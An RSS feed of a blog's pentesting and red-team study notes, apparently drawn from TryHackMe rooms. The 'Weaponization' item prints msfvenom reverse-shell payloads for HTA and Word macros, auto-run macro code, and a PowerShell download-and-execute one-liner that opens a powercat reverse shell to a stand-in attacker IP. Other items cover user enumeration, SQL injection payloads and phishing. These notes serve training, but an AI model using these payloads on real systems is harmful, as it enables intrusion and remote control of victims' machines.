<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Home on Silent Resistor</title><link>https://silent-resistor.github.io/</link><description>Recent content in Home on Silent Resistor</description><generator>Hugo</generator><language>en-us</language><lastBuildDate>Fri, 01 May 2026 00:00:00 +0000</lastBuildDate><atom:link href="https://silent-resistor.github.io/index.xml" rel="self" type="application/rss+xml"/><item><title>Weaponization</title><link>https://silent-resistor.github.io/resources/red-teaming/weaponization/</link><pubDate>Wed, 25 Mar 2026 00:00:00 +0000</pubDate><guid>https://silent-resistor.github.io/resources/red-teaming/weaponization/</guid><description>&lt;h2 id="windows-script-host-wsh"&gt;Windows Script Host (WSH)&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Its a built-in Windows adminstration tool that runs batch files to automate and manage tasks within the OS.&lt;/li&gt;
&lt;li&gt;It is windows native engine, &lt;code&gt;wscript.exe&lt;/code&gt; (UI scripts) and &lt;code&gt;cscript.exe&lt;/code&gt; (command line scripts), which are responsible for executing various Microsoft Visual Basic Scripts, including &lt;code&gt;.vbs&lt;/code&gt; and &lt;code&gt;.vbe&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Have a look here for more details: &lt;a href="https://en.wikipedia.org/wiki/VBScript"&gt;VBScript&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Have a look at the example:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre tabindex="0"&gt;&lt;code class="language-vbscript" data-lang="vbscript"&gt;&amp;#39; This is a simple VBScript that displays a message box with a welcome message.
&amp;#39; wscript.exe example1.vbs
Dim message 
message = &amp;#34;Welcome to THM&amp;#34;
MsgBox message

&amp;#39; This script will open the calculator application when executed.
&amp;#39; wscript.exe example2.vbs
&amp;#39; or if the vbs scripts are blocked, lets use txt files.
&amp;#39; wscript /e:VBScript example3.txt
Set shell = WScript.CreateObject(&amp;#34;Wscript.Shell&amp;#34;)
shell.Run(&amp;#34;C:\Windows\System32\calc.exe &amp;#34; &amp;amp; WScript.ScriptFullName),0,True
&lt;/code&gt;&lt;/pre&gt;&lt;h2 id="an-html-application-hta"&gt;An HTML Application (HTA)&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;It allows you to create a downloadable file that takes all the information regarding how it is displayed and rendered.&lt;/li&gt;
&lt;li&gt;HTAs, which are dynamic &lt;code&gt;HTML&lt;/code&gt; pages containing Jscript or VBScript.&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;html&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;body&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;script&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	&lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;c&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;cmd.exe&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	&lt;span style="color:#66d9ef"&gt;new&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;ActiveXObject&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;WScript.Shell&amp;#39;&lt;/span&gt;).&lt;span style="color:#a6e22e"&gt;Run&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;c&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;/&lt;span style="color:#f92672"&gt;script&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;/&lt;span style="color:#f92672"&gt;body&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;/&lt;span style="color:#f92672"&gt;html&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;When this file is downloaded and executed in the victim&amp;rsquo;s machine, it will run the command prompt (&lt;code&gt;cmd.exe&lt;/code&gt;), which can be used to execute further commands.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="reverse-hta-connection"&gt;Reverse HTA Connection&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Attacker&amp;#39;s machine&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;msfvenom -p windows/x64/shell_reverse_tcp LHOST&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&amp;lt;Attacker_IP&amp;gt; LPORT&lt;span style="color:#f92672"&gt;=&lt;/span&gt;443-f hta-psh -o reverse.hta
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;python3 -m http.server &lt;span style="color:#ae81ff"&gt;8000&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo nc -lvnp &lt;span style="color:#ae81ff"&gt;443&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# you will get the reverse shell once the victim executes the hta file&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Victim&amp;#39;s machine&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;curl http://&amp;lt;Attacker_IP&amp;gt;:8000/reverse.hta -o reverse.hta
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;start reverse.hta
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="visual-basic-for-applications-vba"&gt;Visual Basic for Applications (VBA)&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;A programming language by Microsoft for Microsoft applications such as Excel, Word etc.&lt;/li&gt;
&lt;li&gt;VBA programming language allows automating tasks of nearly every keyboard and mouse actions between the user and the applications.&lt;/li&gt;
&lt;li&gt;Macros are MS Office applications that contain embedded VBA code. It used to create custom fucntions to speed up manual tasks by creating automatic processes. Once of VBA&amp;rsquo;s features is accessing the Windows API, and other low level functionality. For more info, visit: &lt;a href="https://en.wikipedia.org/wiki/Visual_Basic_for_Applications"&gt;VBA&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;To use macros, Open Word &amp;ndash; New Word Doc (Blank)&amp;ndash;&amp;gt; view &amp;ndash;&amp;gt; macros &amp;ndash;&amp;gt; create new macro &amp;ndash;&amp;gt; paste the code below&lt;/li&gt;
&lt;/ul&gt;
&lt;pre tabindex="0"&gt;&lt;code class="language-vbscript" data-lang="vbscript"&gt;&amp;#39; run the macro by F5 or Run → Run Sub/UserForm for testing
Sub THM()
 MsgBox (&amp;#34;Welcome to Weaponization Room!&amp;#34;)
End Sub
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;Now in order to execute the VBA code automatically once the document gets opened, we can use built-in functions such as AutoOpen and Document_open. Also replacing the MsgBOx with the payload we want to execute.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre tabindex="0"&gt;&lt;code class="language-vbscript" data-lang="vbscript"&gt;Sub Document_Open()
 THM
End Sub
Sub AutoOpen()
 THM
End Sub
Sub THM()
	Dim payload As String
	payload = &amp;#34;calc.exe&amp;#34;
	CreateObject(&amp;#34;Wscript.Shell&amp;#34;).Run payload,0
End Sub
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;It is important to note that to make the macro work, we need to save it in Macro-Enabled format such as .doc and docm. (Use Word 97-2003 Document while saving..)&lt;/li&gt;
&lt;li&gt;Lets close the Word document, and open it again, you will see the calculator application opened as well.&lt;/li&gt;
&lt;li&gt;We can do the same using Metaisploit framework.&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Attacker machine&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;msfvenom -p windows/meterpreter/reverse_tcp LHOST&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&amp;lt;Attacker_IP&amp;gt; LPORT&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;443&lt;/span&gt; -f vba -o payload.vba
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# here its generates a vba that defaults to Workbook, so we need replace the `Workbook_Open` with `Document_Open` to make suitable for word.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;python3 -m http.server &lt;span style="color:#ae81ff"&gt;8000&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo nc -lvnp &lt;span style="color:#ae81ff"&gt;443&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Victim machine&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;curl http://&amp;lt;Attacker_IP&amp;gt;:8000/payload.vba -o payload.vba
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# open the payload.vba file, copy the content and paste it in the macro editor of the word document, then save it as Macro-Enabled format and open it again to get the reverse shell.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="powershell"&gt;Powershell&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Powershell is an object-oriented programming language executed from the Dynamic Language Runtime (DLR) in .NET with some exceptions for legacy uses.&lt;/li&gt;
&lt;li&gt;Lets start by creating a simple script that prints a message.&lt;/li&gt;
&lt;li&gt;Exccution policy: Its a security option to protect system from running malicious scripts. Microsoft disables executing Powershell scripts &lt;code&gt;.ps1&lt;/code&gt; by default. To get the current execution policy &lt;code&gt;Get-ExecutionPolicy&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# test.ps1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Write-Host &lt;span style="color:#e6db74"&gt;&amp;#34;Hello World&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# execute it&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;powershell &lt;span style="color:#f92672"&gt;-File&lt;/span&gt; test.ps1
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# by pass execution policy&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;powershell -ExecutionPolicy Bypass &lt;span style="color:#f92672"&gt;-File&lt;/span&gt; test.ps1
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# disable the execution policy for the current session&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope CurrentUser RemoteSigned
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# start a process&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;powershell -Command &lt;span style="color:#e6db74"&gt;&amp;#34;Start-Process calc.exe&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;Now, lets try to get the reverse shell using the one of tools written in Powersehell &lt;code&gt;powercat&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Attacker&amp;#39;s machine&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;git clone https://github.com/besimorhino/powercat.git
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cd powercat
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;python3 -m http.server &lt;span style="color:#ae81ff"&gt;8000&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;nc -lvnp &lt;span style="color:#ae81ff"&gt;1337&lt;/span&gt; &lt;span style="color:#75715e"&gt;# Listen to this port 1337, for reverse shell&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Victim&amp;#39;s machine&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Downloads the `powercat.ps1` payload, then executes it locally on the target using cmd.exe and sends the connection back to the attacker that is listening on port 1337.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;powershell -c &lt;span style="color:#e6db74"&gt;&amp;#34;IEX (New-Object System.Net.WebClient).DownloadString(&amp;#39;http://&amp;lt;Attacker_IP&amp;gt;:8000/powercat.ps1&amp;#39;);powercat -c &amp;lt;Attacker_IP&amp;gt; -p 1337 -e cmd&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="delivery-techniques"&gt;Delivery Techniques&lt;/h2&gt;
&lt;h3 id="email-delivery"&gt;Email Delivery&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;More info: &lt;a href="https://attack.mitre.org/techniques/T1566/001/"&gt;Spearphishing&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="web-delivery"&gt;Web Delivery&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;The webserver has to follow security guidelines such as clean record and reputation of its domain name and TLS certificate.&lt;/li&gt;
&lt;li&gt;More info: &lt;a href="https://attack.mitre.org/techniques/T1105/"&gt;T1105&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="usb-delivery"&gt;USB Delivery&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;This method requires the victim to plug in the USB physically. This method could be effective and usefull at conferences where the adversary can distribute the USB.&lt;/li&gt;
&lt;li&gt;For info, see &lt;a href="https://attack.mitre.org/techniques/T1091/"&gt;T1091&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Common USB attacks used to weaponize USB devices include Rubber Ducky, USBHarpoon, charging USB cable, such as O.MG Cable.&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Authentication</title><link>https://silent-resistor.github.io/resources/web-app-pentesting/authentication/</link><pubDate>Sat, 20 Jan 2024 00:00:00 +0000</pubDate><guid>https://silent-resistor.github.io/resources/web-app-pentesting/authentication/</guid><description>&lt;h2 id="authentication-enumerations"&gt;Authentication Enumerations&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Identifying valid usernames&lt;/code&gt;: observe response of login or password resets.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Password policies&lt;/code&gt;: info when we enter password that does not match the policies, is used gauge the potential complexity of passwords and tailor strategy.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Common places to enerumerate&lt;/code&gt;:
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#registration pages, Fails if username already used. So, we can list of valid users.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#Password reset features: Fails if username does not belong to valid account. Can list the valid usernames.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#Verbose Errors: these intential errors can provide us the info about whether valid user, valid pass??&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Data Breach info: data from previous breaches is goldmine, allows us to find whether compromised credentials are reused across the platforms. &lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="enumerating-users-via-verbose-errors"&gt;Enumerating Users via Verbose errors&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Verbose errors can turn into a goldmine of information, providing insights such as: &lt;code&gt;Internal Paths&lt;/code&gt;, &lt;code&gt;Database details like spilling secrets&lt;/code&gt;, &lt;code&gt;User information&lt;/code&gt; etc&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Inducing verbose errors&lt;/code&gt;: forcing application to reveal its secrets by using belwo techniques.
&lt;pre tabindex="0"&gt;&lt;code&gt; Invalid login attempts
 SQL injections
 File Inclusion/Path Traversal
 FOrm Manupulation
 Application Fuzzing
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Role of enumeration and brute forcing&lt;/code&gt;: User Enumerations, Exploiting versbose errors.
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cd sources/
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;git clone git@github.com:nyxgeek/username-lists.git
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;python3 email_bruteforce.py &lt;span style="color:#e6db74"&gt;&amp;#34;username-lists/usernames-top100/usernames_gmail.com.txt&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="exploiting-vulnerable-password-reset-logic"&gt;Exploiting Vulnerable Password Reset Logic&lt;/h2&gt;
&lt;h4 id="password-reset-flow-vulnerabilities"&gt;Password Reset Flow Vulnerabilities&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Email-Based Reset&lt;/li&gt;
&lt;li&gt;Security Question-Based Reset&lt;/li&gt;
&lt;li&gt;SMS-Based Reset&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="osint"&gt;OSINT&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Wayback urls&lt;/li&gt;
&lt;li&gt;Think of the Internet Archive&amp;rsquo;s Wayback Machine (&lt;a href="https://archive.org/web/"&gt;https://archive.org/web/&lt;/a&gt;) as a time machine&lt;/li&gt;
&lt;li&gt;To dump all of the links that are saved in Wayback Machine, we can use the tool called waybackurls.&lt;/li&gt;
&lt;li&gt;git clone &lt;a href="https://github.com/tomnomnom/waybackurls"&gt;https://github.com/tomnomnom/waybackurls&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;cd waybackurls&lt;/li&gt;
&lt;li&gt;sudo apt install golang-go -y&lt;/li&gt;
&lt;li&gt;ls -la&lt;/li&gt;
&lt;li&gt;./waybackurls tryhackme.com&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>What the shell??</title><link>https://silent-resistor.github.io/resources/jr-pentester/what-the-shell/</link><pubDate>Sat, 20 Jan 2024 00:00:00 +0000</pubDate><guid>https://silent-resistor.github.io/resources/jr-pentester/what-the-shell/</guid><description>&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;There are a variety of tools that we will be using to receive reverse shells and to send bind shells. In general terms, we need malicious shell code, as well as a way of interfacing with the resulting shell.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;Netcat&lt;/code&gt; - A tradional swiss army knife of Networking.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;Socat&lt;/code&gt; is like netcat on steroids. It can do all same things, and many more. Socat shells are usually more stable than netcat shells out of the box.&lt;/p&gt;</description></item><item><title>Phishing</title><link>https://silent-resistor.github.io/resources/red-teaming/phishing/</link><pubDate>Sat, 28 Mar 2026 00:00:00 +0000</pubDate><guid>https://silent-resistor.github.io/resources/red-teaming/phishing/</guid><description>&lt;h2 id="intro-to-phishing"&gt;Intro to Phishing..&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Social Engineering&lt;/strong&gt; is the psychological manipulation of people into performing or divulging information by exploiting weakness in human nature. These &amp;ldquo;weakness&amp;rdquo; can be curiosity, jealously, greed, and even kindness and the willingness to help someone.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Phishing&lt;/strong&gt; is a source of social engineering delivered through email to trick someone into either revealing personal information, credentials, or even executing malicious code on their computer.&lt;/li&gt;
&lt;li&gt;These emails will usually appear to come from a trusted source, whether that&amp;rsquo;s person or a business. They include content that tries to tempt or trick people into downloading software, opening attachments, opening attachements, or following links to bogus website.&lt;/li&gt;
&lt;li&gt;A term you&amp;rsquo;ll come across and the type of phishing campaign a red team would participate in is &lt;strong&gt;spear-phishing&lt;/strong&gt;, as with throwing a physical spear; you&amp;rsquo;d have a target to aim at, the same can be said with spear-phishing in that you&amp;rsquo;re targeting an individual, business or organization rather than just anybody as mass. This is an effective form of phishing for a red team engagement as they are bespoke to the target it makes them hard to detect by technology such as spam filters, antivirus, and firewalls.&lt;/li&gt;
&lt;li&gt;A red team could be contracted to solely carry out a phishing assessment to see whether a business is vulnerable to this type of attack or can also be part of a broader scale assessment and used to gain access to computer systems or services.&lt;/li&gt;
&lt;li&gt;Some other methods of phishing through other mediums are smishing which is phishing through SMS messages, and vishing which is performed through phone calls.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="writing-convincing-phishing-emails"&gt;Writing Convincing Phishing Emails&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;We have three things to work with regarding phishing emails: the sender&amp;rsquo;s email, the subject and the content&lt;/p&gt;</description></item><item><title>Advanced SQL Injections</title><link>https://silent-resistor.github.io/resources/web-app-pentesting/advanced_sql_injections/</link><pubDate>Sat, 31 Jan 2026 00:00:00 +0000</pubDate><guid>https://silent-resistor.github.io/resources/web-app-pentesting/advanced_sql_injections/</guid><description>&lt;h2 id="recap-basics"&gt;Recap Basics&lt;/h2&gt;
&lt;h3 id="in-band-sql-injection"&gt;In-band SQL Injection&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Error-Based SQL Injection:&lt;/strong&gt; manipulates the SQL query to produce error which can be used to exploit. Example: &lt;code&gt;SELECT * FROM users WHERE id = 1 AND 1=CONVERT(int, (SELECT @@version))&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Union-Based SQL Injection:&lt;/strong&gt; uses the UNION SQL operator to combine the results of two or more SELECT statements, thereby retrieving data from other tables. Example: &lt;code&gt;SELECT name, email FROM users WHERE id = 1 UNION ALL SELECT username, password FROM admin&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="inferential-blind-sql-injection"&gt;Inferential (Blind) SQL Injection&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Boolean-Based Blind SQL Injection:&lt;/strong&gt; The attacker sends an SQL query to the database, forcing the application to return a different result based on a true or false condition. Example: &lt;code&gt;SELECT * FROM users WHERE id = 1 AND 1=1 (true condition) versus SELECT * FROM users WHERE id = 1 AND 1=2&lt;/code&gt; (false condition)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Time-Based Blind SQL Injection:&lt;/strong&gt; sends an SQL query to the database, which delays the response for a specified time. For example, &lt;code&gt;SELECT * FROM users WHERE id = 1; IF (1=1) WAITFOR DELAY '00:00:05'--&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="out-of-band-sql-injection"&gt;Out-of-band SQL Injection&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Out-of-band SQL injection is used when the attacker cannot use the same channel to launch the attack and gather results or when the server responses are unstable.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="second-order-sql-injection"&gt;Second-Order SQL Injection&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Also known as &lt;strong&gt;Stored SQL injection&lt;/strong&gt;, exploits the vulnerabilities where user-supplied input is saved and subsequently used in different part of application, possibly after some intial processing.&lt;/p&gt;</description></item><item><title>NMAP (Network Mapper)</title><link>https://silent-resistor.github.io/resources/jr-pentester/nmap/</link><pubDate>Sat, 20 Jan 2024 00:00:00 +0000</pubDate><guid>https://silent-resistor.github.io/resources/jr-pentester/nmap/</guid><description>&lt;h2 id="nmap-network-mapper-host-discovery"&gt;NMAP (Network Mapper) Host Discovery&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Nmap was created by Gordon Lyon (Fyodor), a network security expert and open source programmer. It was released in 1997. Nmap, short for Network Mapper, is free, open-source software released under GPL license. Nmap is an industry-standard tool for mapping networks, identifying live hosts, and discovering running services. Nmap’s scripting engine can further extend its functionality, from fingerprinting services to exploiting vulnerabilities.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="host-discovery-using-arp-"&gt;Host Discovery Using ARP :&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;If you want to use Nmap to discover online hosts without port-scanning the live systems, you can issue &lt;code&gt;nmap -sn TARGETS&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;If you want Nmap only to perform an ARP scan without port-scanning, you can use &lt;code&gt;nmap -PR -sn TARGETS&lt;/code&gt;, where -PR indicates that you only want an ARP scan.&lt;/li&gt;
&lt;li&gt;Mentioning the scanner built around ARP queries: &lt;code&gt;arp-scan&lt;/code&gt;. Lets say to san the all the valid ip addresses on the local network, we can use &lt;code&gt;arp-scan --localnet&lt;/code&gt; or simply &lt;code&gt;arp-scan -l&lt;/code&gt;. Or if we have multiple interfaces on machine and we are interested in one of them, we do &lt;code&gt;sudo arp-scan -I eth0 -l&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Plese note that we can yield same ARP Traffic (observed by tcpdump, wireshark or any similar tool) with both of &lt;code&gt;nmap -PR -sn TARGETS&lt;/code&gt; and &lt;code&gt;arp-scan TARGETS&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="host-discovery-using-icmp"&gt;Host Discovery Using ICMP:&lt;/h4&gt;
&lt;ul&gt;
